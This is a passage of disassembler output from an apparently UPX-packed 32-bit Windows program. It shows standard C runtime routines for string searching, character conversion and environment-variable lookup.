loc_4153F5:				; CODE XREF: sub_4153C4+28j
		mov	eax, [esi+14h]
		cmp	eax, off_42AE14
		jz	short loc_415407
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_415407:				; CODE XREF: sub_4153C4+3Aj
		mov	eax, [esi+18h]
		cmp	eax, off_42AE18
		jz	short loc_415419
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_415419:				; CODE XREF: sub_4153C4+4Cj
		mov	eax, [esi+1Ch]
		cmp	eax, off_42AE1C
		jz	short loc_41542B
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_41542B:				; CODE XREF: sub_4153C4+5Ej
		mov	eax, [esi+20h]
		cmp	eax, off_42AE20
		jz	short loc_41543D
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_41543D:				; CODE XREF: sub_4153C4+70j
		mov	esi, [esi+24h]
		cmp	esi, off_42AE24
		jz	short loc_41544F
		push	esi
		call	sub_40ADC8
		pop	ecx


loc_41544F:				; CODE XREF: sub_4153C4+Bj
					; sub_4153C4+82j
		pop	esi
		pop	ebp
		retn
sub_4153C4	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_415474:				; CODE XREF: UPX0:00415481j
		mov	al, [edx]
		or	al, al
		jz	short loc_415483
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_415474
; ---------------------------------------------------------------------------


loc_415483:				; CODE XREF: UPX0:00415478j
		mov	esi, [ebp+8]
		or	ecx, 0FFFFFFFFh
		lea	ecx, [ecx+0]


loc_41548C:				; CODE XREF: UPX0:0041549Cj
		add	ecx, 1
		mov	al, [esi]
		or	al, al
		jz	short loc_41549E
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_41548C


loc_41549E:				; CODE XREF: UPX0:00415493j
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_4154C4:				; CODE XREF: UPX0:004154D1j
		mov	al, [edx]
		or	al, al
		jz	short loc_4154D3
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_4154C4
; ---------------------------------------------------------------------------


loc_4154D3:				; CODE XREF: UPX0:004154C8j
		mov	esi, [ebp+8]
		mov	edi, edi


loc_4154D8:				; CODE XREF: UPX0:004154E5j
		mov	al, [esi]
		or	al, al
		jz	short loc_4154EA
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_4154D8
		lea	eax, [esi-1]


loc_4154EA:				; CODE XREF: UPX0:004154DCj
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4154F0	proc near		; CODE XREF: sub_412505+171p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_411ACB
		mov	[ebp+arg_4], eax
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 82h
		jnz	short loc_415524
		call	sub_40C862
		mov	dword ptr [eax], 9


loc_415516:				; CODE XREF: sub_4154F0+43j
		or	dword ptr [esi+0Ch], 20h


loc_41551A:				; CODE XREF: sub_4154F0+E8j
		mov	eax, 0FFFFh
		jmp	loc_415661
; ---------------------------------------------------------------------------


loc_415524:				; CODE XREF: sub_4154F0+19j
		test	al, 40h
		jz	short loc_415535
		call	sub_40C862
		mov	dword ptr [eax], 22h
		jmp	short loc_415516
; ---------------------------------------------------------------------------


loc_415535:				; CODE XREF: sub_4154F0+36j
		test	al, 1
		jz	short loc_415550
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_4155D2
		mov	ecx, [esi+8]
		and	eax, 0FFFFFFFEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_415550:				; CODE XREF: sub_4154F0+47j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+var_4], 0
		push	ebx
		push	2
		and	eax, 0FFFFFFEFh
		pop	ebx
		or	eax, ebx
		mov	[esi+0Ch], eax
		test	eax, 10Ch
		jnz	short loc_41559A
		call	sub_411916
		add	eax, 20h
		cmp	esi, eax
		jz	short loc_415586
		call	sub_411916
		add	eax, 40h
		cmp	esi, eax
		jnz	short loc_415593


loc_415586:				; CODE XREF: sub_4154F0+88j
		push	[ebp+arg_4]
		call	sub_4118B2
		pop	ecx
		test	eax, eax
		jnz	short loc_41559A


loc_415593:				; CODE XREF: sub_4154F0+94j
		push	esi
		call	sub_411869
		pop	ecx


loc_41559A:				; CODE XREF: sub_4154F0+7Cj
					; sub_4154F0+A1j
		test	dword ptr [esi+0Ch], 108h
		push	edi
		jz	loc_41562B
		mov	eax, [esi+8]
		mov	edi, [esi]
		lea	ecx, [eax+2]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		sub	edi, eax
		sub	ecx, ebx
		mov	[esi+4], ecx
		test	edi, edi
		jle	short loc_4155DD
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	sub_41178D
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		jmp	short loc_415620
; ---------------------------------------------------------------------------


loc_4155D2:				; CODE XREF: sub_4154F0+4Fj
		or	eax, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41551A
; ---------------------------------------------------------------------------


loc_4155DD:				; CODE XREF: sub_4154F0+CEj
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_415600
		cmp	ecx, 0FFFFFFFEh
		jz	short loc_415600
		mov	eax, ecx
		and	eax, 1Fh
		mov	edx, ecx
		sar	edx, 5
		shl	eax, 6
		add	eax, dword_430160[edx*4]
		jmp	short loc_415605
; ---------------------------------------------------------------------------


loc_415600:				; CODE XREF: sub_4154F0+F3j
					; sub_4154F0+F8j
		mov	eax, offset dword_42A3E0


loc_415605:				; CODE XREF: sub_4154F0+10Ej
		test	byte ptr [eax+4], 20h
		jz	short loc_415620
		push	ebx
		push	0
		push	0
		push	ecx
		call	sub_410F41
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41564D


loc_415620:				; CODE XREF: sub_4154F0+E0j
					; sub_4154F0+119j
		mov	eax, [esi+8]
		mov	ebx, [ebp+arg_0]
		mov	[eax], bx
		jmp	short loc_415648
; ---------------------------------------------------------------------------


loc_41562B:				; CODE XREF: sub_4154F0+B2j
		push	2
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		mov	edi, ebx
		mov	ebx, [ebp+arg_0]
		mov	word ptr [ebp+var_4], bx
		call	sub_41178D
		add	esp, 0Ch
		mov	[ebp+var_4], eax


loc_415648:				; CODE XREF: sub_4154F0+139j
		cmp	[ebp+var_4], edi
		jz	short loc_415658


loc_41564D:				; CODE XREF: sub_4154F0+12Ej
		or	dword ptr [esi+0Ch], 20h
		mov	eax, 0FFFFh
		jmp	short loc_41565F
; ---------------------------------------------------------------------------


loc_415658:				; CODE XREF: sub_4154F0+15Bj
		mov	eax, ebx
		and	eax, 0FFFFh


loc_41565F:				; CODE XREF: sub_4154F0+166j
		pop	edi
		pop	ebx


loc_415661:				; CODE XREF: sub_4154F0+2Fj
		pop	esi
		leave
		retn
sub_4154F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415664	proc near		; CODE XREF: sub_4157D0+13p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= dword	ptr  18h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_8]
		cmp	esi, ebx
		jnz	short loc_41568F
		cmp	edi, ebx
		jbe	short loc_41568F
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_415688
		mov	[eax], ebx


loc_415688:				; CODE XREF: sub_415664+20j
					; sub_415664+F9j ...
		xor	eax, eax
		jmp	loc_415712
; ---------------------------------------------------------------------------


loc_41568F:				; CODE XREF: sub_415664+15j
					; sub_415664+19j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_415699
		or	dword ptr [eax], 0FFFFFFFFh


loc_415699:				; CODE XREF: sub_415664+30j
		cmp	edi, 7FFFFFFFh
		jbe	short loc_4156BC
		call	sub_40C862
		push	16h
		pop	esi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40B255
		add	esp, 14h


loc_4156B8:				; CODE XREF: sub_415664+D5j
					; sub_415664+E2j
		mov	eax, esi
		jmp	short loc_415712
; ---------------------------------------------------------------------------


loc_4156BC:				; CODE XREF: sub_415664+3Bj
		push	[ebp+arg_10]
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	loc_41576F
		mov	ax, [ebp+arg_C]
		mov	ecx, 0FFh
		cmp	ax, cx
		jbe	short loc_415717
		cmp	esi, ebx
		jz	short loc_4156F4
		cmp	edi, ebx
		jbe	short loc_4156F4
		push	edi
		push	ebx
		push	esi
		call	sub_40BD40
		add	esp, 0Ch


loc_4156F4:				; CODE XREF: sub_415664+7Fj
					; sub_415664+83j ...
		call	sub_40C862
		mov	dword ptr [eax], 2Ah
		call	sub_40C862
		mov	eax, [eax]
		cmp	[ebp+var_4], bl
		jz	short loc_415712
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh


loc_415712:				; CODE XREF: sub_415664+26j
					; sub_415664+56j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415717:				; CODE XREF: sub_415664+7Bj
		cmp	esi, ebx
		jz	short loc_41574D
		cmp	edi, ebx
		ja	short loc_41574B


loc_41571F:				; CODE XREF: sub_415664+14Ej
					; sub_415664+156j ...
		call	sub_40C862
		push	22h
		pop	esi
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	[eax], esi
		call	sub_40B255
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	loc_4156B8
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh
		jmp	loc_4156B8
; ---------------------------------------------------------------------------


loc_41574B:				; CODE XREF: sub_415664+B9j
		mov	[esi], al


loc_41574D:				; CODE XREF: sub_415664+B5j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41575A
		mov	dword ptr [eax], 1


loc_41575A:				; CODE XREF: sub_415664+EEj
					; sub_415664+137j ...
		cmp	[ebp+var_4], bl
		jz	loc_415688
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh
		jmp	loc_415688
; ---------------------------------------------------------------------------


loc_41576F:				; CODE XREF: sub_415664+69j
		lea	ecx, [ebp+arg_4]
		push	ecx
		push	ebx
		push	edi
		push	esi
		push	1
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	ebx
		mov	[ebp+arg_4], ebx
		push	dword ptr [eax+4]
		call	dword_41D07C	; WideCharToMultiByte
		cmp	eax, ebx
		jz	short loc_4157A1
		cmp	[ebp+arg_4], ebx
		jnz	loc_4156F4
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41575A
		mov	[ecx], eax
		jmp	short loc_41575A
; ---------------------------------------------------------------------------


loc_4157A1:				; CODE XREF: sub_415664+127j
		call	dword_41D1D8	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jnz	loc_4156F4
		cmp	esi, ebx
		jz	loc_41571F
		cmp	edi, ebx
		jbe	loc_41571F
		push	edi
		push	ebx
		push	esi
		call	sub_40BD40
		add	esp, 0Ch
		jmp	loc_41571F
sub_415664	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157D0	proc near		; CODE XREF: sub_412505+108p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415664
		add	esp, 14h
		pop	ebp
		retn
sub_4157D0	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_40DAD0
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F6	proc near		; CODE XREF: sub_415847+25p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_415828
		lea	eax, [ebp+var_10]
		push	eax
		push	4
		push	[ebp+arg_0]
		call	sub_41449B
		add	esp, 0Ch
		jmp	short loc_415838
; ---------------------------------------------------------------------------


loc_415828:				; CODE XREF: sub_4157F6+1Dj
		mov	eax, [eax+0C8h]
		mov	ecx, [ebp+arg_0]
		movzx	eax, word ptr [eax+ecx*2]
		and	eax, 4


loc_415838:				; CODE XREF: sub_4157F6+30j
		cmp	[ebp+var_4], 0
		jz	short locret_415845
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_415845:				; CODE XREF: sub_4157F6+46j
		leave
		retn
sub_4157F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415847	proc near		; CODE XREF: sub_418D6B+2Ap

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		cmp	dword_42ED1C, 0
		jnz	short loc_415867
		mov	eax, [ebp+arg_0]
		mov	ecx, off_42ACC8
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, 4
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415867:				; CODE XREF: sub_415847+Cj
		push	0
		push	[ebp+arg_0]
		call	sub_4157F6
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_415847	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415875	proc near		; CODE XREF: sub_415A3D+10p

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jnz	short loc_41588C
		xor	eax, eax
		jmp	loc_415A26
; ---------------------------------------------------------------------------


loc_41588C:				; CODE XREF: sub_415875+Ej
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_14]
		call	sub_40C799
		mov	eax, [ebp+var_10]
		cmp	[eax+8], ebx
		jnz	short loc_4158C5
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41620E
		add	esp, 0Ch
		cmp	[ebp+var_8], bl
		jz	loc_415A26
		mov	ecx, [ebp+var_C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	loc_415A26
; ---------------------------------------------------------------------------


loc_4158C5:				; CODE XREF: sub_415875+28j
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	edi, ebx
		jz	short loc_4158D2
		cmp	[ebp+arg_4], ebx
		jnz	short loc_415900


loc_4158D2:				; CODE XREF: sub_415875+56j
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		cmp	[ebp+var_8], bl
		jz	short loc_4158F6
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_4158F6:				; CODE XREF: sub_415875+78j
		mov	eax, 7FFFFFFFh
		jmp	loc_415A25
; ---------------------------------------------------------------------------


loc_415900:				; CODE XREF: sub_415875+5Bj
		push	esi


loc_415901:				; CODE XREF: sub_415875+19Bj
		movzx	cx, byte ptr [edi]
		dec	[ebp+arg_8]
		movzx	ecx, cx
		movzx	edx, cl
		inc	edi
		test	byte ptr [edx+eax+1Dh],	4
		mov	[ebp+var_4], ecx
		jz	short loc_41595C
		mov	dl, [edi]
		cmp	dl, bl
		jnz	short loc_415924
		mov	[ebp+var_4], ebx
		jmp	short loc_41597C
; ---------------------------------------------------------------------------


loc_415924:				; CODE XREF: sub_415875+A8j
		shl	ecx, 8
		movzx	dx, dl
		or	cx, dx
		movzx	ecx, cx
		mov	si, cx
		inc	edi
		mov	[ebp+var_4], ecx
		cmp	si, [eax+10h]
		jb	short loc_41594A
		cmp	si, [eax+12h]
		ja	short loc_41594A
		add	si, [eax+14h]
		jmp	short loc_415980
; ---------------------------------------------------------------------------


loc_41594A:				; CODE XREF: sub_415875+C7j
					; sub_415875+CDj
		cmp	si, [eax+16h]
		jb	short loc_415980
		cmp	si, [eax+18h]
		ja	short loc_415980
		add	si, [eax+1Ah]
		jmp	short loc_415980
; ---------------------------------------------------------------------------


loc_41595C:				; CODE XREF: sub_415875+A2j
		movzx	edx, word ptr [ebp+var_4]
		lea	ecx, [edx+eax]
		test	byte ptr [ecx+1Dh], 10h
		jz	short loc_415976
		movzx	cx, byte ptr [ecx+11Dh]
		movzx	ecx, cx
		jmp	short loc_415979
; ---------------------------------------------------------------------------


loc_415976:				; CODE XREF: sub_415875+F2j
		movzx	ecx, dx


loc_415979:				; CODE XREF: sub_415875+FFj
		mov	[ebp+var_4], ecx


loc_41597C:				; CODE XREF: sub_415875+ADj
		mov	si, word ptr [ebp+var_4]


loc_415980:				; CODE XREF: sub_415875+D3j
					; sub_415875+D9j ...
		mov	ecx, [ebp+arg_4]
		movzx	cx, byte ptr [ecx]
		inc	[ebp+arg_4]
		movzx	ecx, cx
		movzx	edx, cl
		test	byte ptr [edx+eax+1Dh],	4
		mov	[ebp+var_4], ecx
		jz	short loc_4159DF
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		cmp	dl, bl
		jnz	short loc_4159A8
		mov	[ebp+var_4], ebx
		jmp	short loc_4159FF
; ---------------------------------------------------------------------------


loc_4159A8:				; CODE XREF: sub_415875+12Cj
		shl	ecx, 8
		movzx	dx, dl
		or	cx, dx
		inc	[ebp+arg_4]
		movzx	ecx, cx
		mov	[ebp+var_4], ecx
		cmp	cx, [eax+10h]
		jb	short loc_4159CD
		cmp	cx, [eax+12h]
		ja	short loc_4159CD
		add	cx, [eax+14h]
		jmp	short loc_415A03
; ---------------------------------------------------------------------------


loc_4159CD:				; CODE XREF: sub_415875+14Aj
					; sub_415875+150j
		cmp	cx, [eax+16h]
		jb	short loc_415A03
		cmp	cx, [eax+18h]
		ja	short loc_415A03
		add	cx, [eax+1Ah]
		jmp	short loc_415A03
; ---------------------------------------------------------------------------


loc_4159DF:				; CODE XREF: sub_415875+123j
		movzx	edx, word ptr [ebp+var_4]
		lea	ecx, [edx+eax]
		test	byte ptr [ecx+1Dh], 10h
		jz	short loc_4159F9
		movzx	cx, byte ptr [ecx+11Dh]
		movzx	ecx, cx
		jmp	short loc_4159FC
; ---------------------------------------------------------------------------


loc_4159F9:				; CODE XREF: sub_415875+175j
		movzx	ecx, dx


loc_4159FC:				; CODE XREF: sub_415875+182j
		mov	[ebp+var_4], ecx


loc_4159FF:				; CODE XREF: sub_415875+131j
		mov	cx, word ptr [ebp+var_4]


loc_415A03:				; CODE XREF: sub_415875+156j
					; sub_415875+15Cj ...
		cmp	cx, si
		jnz	short loc_415A29
		cmp	si, bx
		jz	short loc_415A16
		cmp	[ebp+arg_8], ebx
		jnz	loc_415901


loc_415A16:				; CODE XREF: sub_415875+196j
		cmp	[ebp+var_8], bl
		jz	short loc_415A22
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_415A22:				; CODE XREF: sub_415875+1A4j
		xor	eax, eax


loc_415A24:				; CODE XREF: sub_415875+1BDj
					; sub_415875+1C6j
		pop	esi


loc_415A25:				; CODE XREF: sub_415875+86j
		pop	edi


loc_415A26:				; CODE XREF: sub_415875+12j
					; sub_415875+3Ej ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415A29:				; CODE XREF: sub_415875+191j
		sbb	eax, eax
		and	eax, 2
		dec	eax
		cmp	[ebp+var_8], bl
		jz	short loc_415A24
		mov	ecx, [ebp+var_C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_415A24
sub_415875	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A3D	proc near		; CODE XREF: sub_413E93+1E1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415875
		add	esp, 10h
		pop	ebp
		retn
sub_415A3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A57	proc near		; CODE XREF: sub_415ADE+60p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		cmp	dword_430264, 0
		push	esi
		mov	esi, dword_42E88C
		jnz	short loc_415A70
		xor	eax, eax
		jmp	short loc_415AD3
; ---------------------------------------------------------------------------


loc_415A70:				; CODE XREF: sub_415A57+13j
		push	edi
		test	esi, esi
		jnz	short loc_415A90
		cmp	dword_42E894, esi
		jz	short loc_415AD0
		call	sub_416374
		test	eax, eax
		jnz	short loc_415AD0
		mov	esi, dword_42E88C
		test	esi, esi
		jz	short loc_415AD0


loc_415A90:				; CODE XREF: sub_415A57+1Cj
		cmp	[ebp+arg_0], 0
		jz	short loc_415AD0
		push	[ebp+arg_0]
		call	sub_40BFB0
		pop	ecx
		mov	edi, eax
		jmp	short loc_415ACA
; ---------------------------------------------------------------------------


loc_415AA3:				; CODE XREF: sub_415A57+77j
		push	eax
		call	sub_40BFB0
		pop	ecx
		cmp	eax, edi
		jbe	short loc_415AC7
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_415AC7
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41635A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415AD6


loc_415AC7:				; CODE XREF: sub_415A57+55j
					; sub_415A57+5Dj
		add	esi, 4


loc_415ACA:				; CODE XREF: sub_415A57+4Aj
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_415AA3


loc_415AD0:				; CODE XREF: sub_415A57+24j
					; sub_415A57+2Dj ...
		xor	eax, eax


loc_415AD2:				; CODE XREF: sub_415A57+85j
		pop	edi


loc_415AD3:				; CODE XREF: sub_415A57+17j
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415AD6:				; CODE XREF: sub_415A57+6Ej
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_415AD2
sub_415A57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415ADE	proc near		; CODE XREF: sub_413E93+A4p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset dword_426CF8
		call	__SEH_prolog4
		push	7
		call	sub_40CFA9
		pop	ecx
		xor	esi, esi
		mov	[ebp+ms_exc.disabled], esi
		xor	eax, eax
		mov	ebx, [ebp+arg_0]
		cmp	ebx, esi
		setnz	al
		cmp	eax, esi
		jnz	short loc_415B24


loc_415B05:				; CODE XREF: sub_415ADE+5Bj
		call	sub_40C862
		push	16h
		pop	edi
		mov	[eax], edi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40B255
		add	esp, 14h
		mov	[ebp+var_1C], edi
		jmp	loc_415BA6
; ---------------------------------------------------------------------------


loc_415B24:				; CODE XREF: sub_415ADE+25j
		mov	[ebx], esi
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_415B2F
		mov	[eax], esi


loc_415B2F:				; CODE XREF: sub_415ADE+4Dj
		xor	eax, eax
		cmp	[ebp+arg_8], esi
		setnz	al
		cmp	eax, esi
		jz	short loc_415B05
		push	[ebp+arg_8]
		call	sub_415A57
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	short loc_415BA3
		push	eax
		call	sub_40BFB0
		mov	edi, eax
		inc	edi
		push	1
		push	edi
		call	sub_40B5BD
		add	esp, 0Ch
		mov	[ebx], eax
		cmp	eax, esi
		jnz	short loc_415B7C
		call	sub_40C862
		mov	dword ptr [eax], 0Ch
		call	sub_40C862
		mov	eax, [eax]
		mov	[ebp+var_1C], eax
		jmp	short loc_415BA6
; ---------------------------------------------------------------------------


loc_415B7C:				; CODE XREF: sub_415ADE+85j
		push	[ebp+var_20]
		push	edi
		push	eax
		call	sub_40CD95
		add	esp, 0Ch
		cmp	eax, esi
		jz	short loc_415B9A
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40B12D
		add	esp, 14h


loc_415B9A:				; CODE XREF: sub_415ADE+ADj
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_415BA3
		mov	[eax], edi


loc_415BA3:				; CODE XREF: sub_415ADE+6Bj
					; sub_415ADE+C1j
		mov	[ebp+var_1C], esi


loc_415BA6:				; CODE XREF: sub_415ADE+41j
					; sub_415ADE+9Cj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_415BBB
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_415ADE	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BBB	proc near		; CODE XREF: sub_415ADE+CFp
					; DATA XREF: UPX0:00426D10o
		push	7
		call	sub_40CECF
		pop	ecx
		retn
sub_415BBB	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_415BE0


loc_415BD0:				; CODE XREF: sub_415BE0+1Fj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_415BE0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415BE0	proc near		; CODE XREF: sub_4142F5+52p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00415BD0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_415C0D


loc_415BF8:				; CODE XREF: sub_415BE0+2Bj
		mov	cl, [edx]
		add	edx, 1
		cmp	cl, bl
		jz	short loc_415BD0
		test	cl, cl
		jz	short loc_415C56
		test	edx, 3
		jnz	short loc_415BF8


loc_415C0D:				; CODE XREF: sub_415BE0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_415C18:				; CODE XREF: sub_415BE0+63j
					; sub_415BE0+72j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_415C5A
		and	eax, 81010100h
		jz	short loc_415C18
		and	eax, 1010100h
		jnz	short loc_415C54
		and	esi, 80000000h
		jnz	short loc_415C18


loc_415C54:				; CODE XREF: sub_415BE0+6Aj
					; sub_415BE0+83j ...
		pop	esi
		pop	edi


loc_415C56:				; CODE XREF: sub_415BE0+23j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415C5A:				; CODE XREF: sub_415BE0+5Cj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_415C97
		test	al, al
		jz	short loc_415C54
		cmp	ah, bl
		jz	short loc_415C90
		test	ah, ah
		jz	short loc_415C54
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_415C89
		test	al, al
		jz	short loc_415C54
		cmp	ah, bl
		jz	short loc_415C82
		test	ah, ah
		jz	short loc_415C54
		jmp	short loc_415C18
; ---------------------------------------------------------------------------


loc_415C82:				; CODE XREF: sub_415BE0+9Aj
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_415C89:				; CODE XREF: sub_415BE0+92j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_415C90:				; CODE XREF: sub_415BE0+87j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


